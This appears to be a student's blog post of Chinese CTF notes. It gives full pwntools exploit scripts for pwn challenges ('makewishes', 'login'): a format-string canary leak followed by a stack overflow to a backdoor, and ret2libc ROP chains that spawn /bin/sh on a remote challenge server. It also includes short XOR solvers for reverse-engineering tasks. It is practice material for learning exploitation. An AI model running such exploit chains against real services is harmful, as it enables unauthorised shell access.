5.1

makewishes

第一次read可以覆盖seed

先进入这个函数

格式化泄露canary

然后v3等于0,进入前面的

###

 

看到两个seed全部被我们改为了0

栈顶到canary的距离为0x28

即为6+5=11

%p返回的是字符串,我们需要用int函数进行转换

from pwn import *
from LibcSearcher import*
context(os='linux', arch='amd64', log_level='debug')

door = 0x004011D6
sh = process('./makewishes')
sh = remote('59.110.164.72',10023)
def debug():
    pwnlib.gdb.attach(sh,"b *0x00401276 ")
    pause()
sh.recvuntil('Now you can make your first wish\n')

payload = b'\x00'*0x16
sh.send(payload)
sh.recvuntil('Please give me a number!\n')
sh.sendline(str(2))
sh.recvuntil('Now you can make your second wish!\n')
payload = b'%11$p'
sh.sendline(payload)
Canary=int(sh.recvuntil("00"),16)
sh.sendline(str(2))
sh.recvuntil('Now you can make your final wish!\n')
payload = b'a'*0x28 +p64(Canary)+b'a'*0x8+ p64(door)
sh.sendline(payload)
sh.interactive()

覆盖的时候不行,c代码算的是3,但是2是有用的

所以之后的随机数我都是蒙的

两个全是2

login

第一次输入跳过判断的时候不能sendline,不然回车会直接作为后面的输入,因为输入的长度有限,回车并没有进去

ret2libc,前面的stdin也没用

from pwn import *
from LibcSearcher import*
context(os='linux', arch='amd64', log_level='debug')

sh = process('./login')
sh = remote('59.110.164.72',10020)
elf = ELF('./login')
def debug():
    pwnlib.gdb.attach(sh,"b *0x400838 ")
    pause()
main = 0x000400796
sh.recvuntil('Here is a tip: ')
stdin = int(sh.recv(14),16)

sh.recvuntil('input the username:\n')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
rdi = 0x04008c3
payload  = b'a'*28 + p32( 0x15CC15CC)
sh.send(payload)
sh.recvuntil('input the password:\n')
payload = b'a'*0x28 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)

sh.sendline(payload)
#puts_addr = sh.recv()

puts_addr=u64(sh.recvuntil('\x7f',False)[-6:].ljust(8,b'\x00'))

libc = LibcSearcher("puts",puts_addr)
libcbase = puts_addr - libc.dump('puts')
print('base is')
print(hex(libcbase))
print(hex(stdin))
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')


sh.recvuntil('input the username:\n')
payload  = b'a'*28 + p32( 0x15CC15CC)
sh.send(payload)

sh.recvuntil('input the password:\n')
payload = b'a'*0x28 + p64(rdi) + p64(binsh_addr)+p64(system_addr)
sh.sendline(payload)
sh.interactive()

这种方法本地没有打通不知道为啥,远程通了(第二种方法也是)

可以通过stdin直接获得libc,不用再泄露

用的是第一个,不知道为什么第二个(libc.symbols[‘stdin’] )不能用

####

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

sh = process('./login')
sh = remote('59.110.164.72',10020)
elf = ELF('./login')
libc = ELF('./libc-2.23.so')
main = 0x000400796
rdi = 0x04008c3

def debug():
    pwnlib.gdb.attach(sh,"b *0x400838 ")
    pause()

# libc
sh.recvuntil('Here is a tip: ')
stdin = int(sh.recv(14),16)
libcbase = stdin -  0x3c48e0   ### 0x3c5710   0x3c48e0 
system_addr = libcbase + libc.symbols['system']
binsh_addr = libcbase +  next(libc.search(b'/bin/sh'))
print(hex(system_addr))
print(hex(binsh_addr))

sh.recvuntil('input the username:\n')
payload  = b'a'*28 + p32( 0x15CC15CC)
sh.send(payload)
sh.recvuntil('input the password:\n')
payload = b'a'*0x28 + p64(rdi) + p64(binsh_addr)+p64(system_addr)
#debug()
sh.sendline(payload)
sh.interactive()

NSSCTF-Re-简简单单的逻辑

发现zfill函数是用来补充的

[2:]是用来截取0x字符的

ord是返回ascii值的

异或操作反过来就可以

result = 'bcfba4d0038d48bd4b00f82796d393dfec'
flag = ''
list = [47, 138, 127, 57, 117, 188, 51, 143, 17, 84, 42, 135, 76, 105, 28, 169, 25]
for i in range(len(list)):
    key = (list[i] >> 4) + ((list[i] & 0xf) << 4)
    flag += chr(int(result[2 * i:2 * i + 2], 16) ^ key)
print(flag)

re1

就是遇到ehea就会转化成3和4

所以我们只要输入{easy_reverse}就可以了

double

感觉是把end的got表改为shell函数的地址

然后再buff中写入/bin/sh ,就可以

但是前面的buf的地址没有用到

6020E0 217
06020E0 size
006024E prt

最后会判断

如果不进行展示的话,size位不会检查,我们可以溢出到两个bss处,刚好是四个字节,覆盖整数

0x602228

0x6021e8 0x40

0x6020e0 0x148

这道题应该是修改got表,但是不知道怎么改

xiaoheshang404

a student

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注